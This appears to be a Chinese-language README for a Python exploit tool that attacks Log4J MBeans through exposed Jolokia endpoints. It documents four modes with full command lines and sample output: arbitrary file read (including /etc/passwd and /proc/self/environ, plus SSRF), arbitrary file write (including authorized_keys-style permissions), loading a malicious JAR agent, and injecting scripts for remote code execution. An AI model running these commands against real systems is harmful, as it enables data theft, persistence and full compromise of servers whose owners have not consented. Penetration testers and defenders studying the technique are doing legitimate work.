
通过 Jolokia 利用 Log4J 的 Python3 实现
Python3 实现,用于通过 Jolokia 利用和攻击 Log4J MBean。
通用帮助:
usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]
positional arguments:
{exec_jar,write_file,read_file,exec_script}
choose mode: exec_jar | write_file | read_file | exec_script
target URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)
options:
-h, --help show this help message and exit
-u [USER], --user [USER]
Jolokia username
-p [PASSWD], --passwd [PASSWD]
Jolokia password
--proxy [PROXY] Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
-H [HEADER], --header [HEADER]
Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
-H "Referrer: http://localhost")
注意: 根据您选择的模式,帮助的某些部分会有所不同。
该程序有以下 4 种利用模式:
通过 Jolokia API 修改 Log4J 的 "ConfigLocationUri" 属性,并读取 "ConfigText" 的新内容(使用 "getConfigText(String)" 函数或对 "ConfigText" 属性执行 Jolokia "read" 操作),攻击者能够读取任意文件。
注意: 在这种情况下,我们将使用 "getConfigText(String)" 读取向量,因为我们可以检索文件输出在 "latin-1" 编码下的字节精确表示。
注意 2: 此向量还可用于访问原本无法访问/内部的服务器:
帮助 - 读取文件特定参数:
$ python3 log4jolokia.py read_file http://a -h
***TRUNCATED***
-r [READ], --read [READ]
Absolute or relative path of a file to read on target (Use only with mode: read_file)
Example commands:
- Absolute Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
- Relative Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
- Specific Protocol:
-- FTP:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
-- SMB (Windows only):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'
示例 - 读取 "/etc/passwd":
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd"
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***
示例 - 读取 "/proc/self/environ"(内容包含不可打印字符(例如空字节),因此输出将进行 base64 编码):
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ"
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":
TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRT1maV9GSS5VVEYtOABTSE***TRUNCATED***
通过创建并加载恶意的 Log4J 配置,我们可以利用 "RollingFile -> fileName"(写入位置)和 "Pattern"(写入内容)参数的值,将任意内容写入任意位置。在这种情况下,我们创建 XML 格式的恶意 Log4J 配置,并利用 "setConfigText(String, String)" 函数。
注意: 对于写入复杂的二进制文件,由于 XML 格式具有特定的受限控制字符,因此在两步写入过程中,我们利用了其他支持的配置格式(例如 Properties)。
帮助 - 写入文件特定参数:
$ python3 log4jolokia.py write_file http://a -h
***TRUNCATED***
-lf [LOCAL_FILE], --local_file [LOCAL_FILE]
Path to local file to be written on the target (Use only with mode: write_file)
-w [WRITE], --write [WRITE]
Path of file to be written on the target (Use only with mode: write_file)
-P [PERM], --perm [PERM]
Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'
示例 - 将 "test" 写入 "/tmp/test":
$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target
示例 - 将包含无效 XML 字符的文件写入 "/tmp/test2":
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf 00-ff.txt -w /tmp/test2
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from 00-ff.txt
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties"
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties"
[.] Checking that the file "/tmp/test2" was written successfully on the target
[+] File "/tmp/test2" has been successfully written on the target
通过使用 "write_file" 模块中介绍的功能,我们将在目标系统上写入任意 JAR,然后使用 "jvmtiAgentLoad([Ljava.lang.String;)" 函数来执行任意 Java 代码。
帮助 - 执行 JAR 特定参数:
$ python3 log4jolokia.py exec_jar http://a -h
***TRUNCATED***
-j [JAR], --jar [JAR]
Path to local jar to be executes on the target (Use only with mode: exec_jar)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -j mal_linux.jar -u admin -p admin -H 'Origin: http://localhost'
Valid jvmtiAgent JARs can be obtained from https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit
示例 - 写入并执行 JAR 文件:
$ python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -j mal_linux.jar
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[!!!] WARNING: You are about to write and execute the contents of "mal_linux.jar" on the target system. Make sure that:
- The JAR contains a valid JVM TI agent
- Once a JAR is successfully loaded:
-- No new JAR can be loaded until the Java application is restarted (a.k.a. pick your commands wisely because you only have one shot)
-- The JAR code will execute everytime the jvmtiAgentLoad() function is successfully called (result == "return code: 0")
If you agree with the above enter "yes" to continue: yes
[.] Reading content from mal_linux.jar
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties"
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties"
[.] Checking that the file "/tmp/mal.jar" was written successfully on the target
[+] File "/tmp/mal.jar" has been successfully written on the target
[+] Successfully called jvmtiAgentLoad()
注意: 如 "WARNING" 中所述,一旦您成功加载了 JVM TI Agent JAR(返回代码:0),使用新的/修改后的(有效的)JAR 重复后续请求,将只会重新执行最初/首次加载的 JAR。
通过使用 Log4J 的内置脚本支持功能,我们可以注入包含任意脚本元素的恶意配置。
注意: 为了使此利用生效,需要将 Log4J 配置为允许相应的脚本类型(默认情况下不允许任何脚本)。
帮助 - 执行脚本特定参数:
$ python3 log4jolokia.py exec_script http://a -h
***TRUNCATED***
-sf [SCRIPT_FILE], --script_file [SCRIPT_FILE]
Path to local file containing the script to be executed on the target (Use only with mode: exec_script)
-l [LANGUAGE], --language [LANGUAGE]
Language of the script to be executed (E.g. javascript, groovy, beanshell, etc.) (Use only with mode: exec_script)
Example command:
python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
示例 - 执行脚本:
$ python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=561b61ed
[!!!] WARNING: You are about to execute a javascript script from the "rce.js" file.
Keep in mind that this script will be triggered multiple times.
If you agree with the above enter "yes" to continue: yes
[.] Reading javascript script from rce.js
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] The script should have been successfully executed
注意: 此模式会加载相应的脚本,但无法知道脚本加载后是成功执行还是静默失败。
"read_file" 模式的手动利用示例:
"write_file" 模式导致 RCE 的手动利用示例:
"exec_jar" 模式的手动利用示例:
"exec_script" 模式的手动利用示例: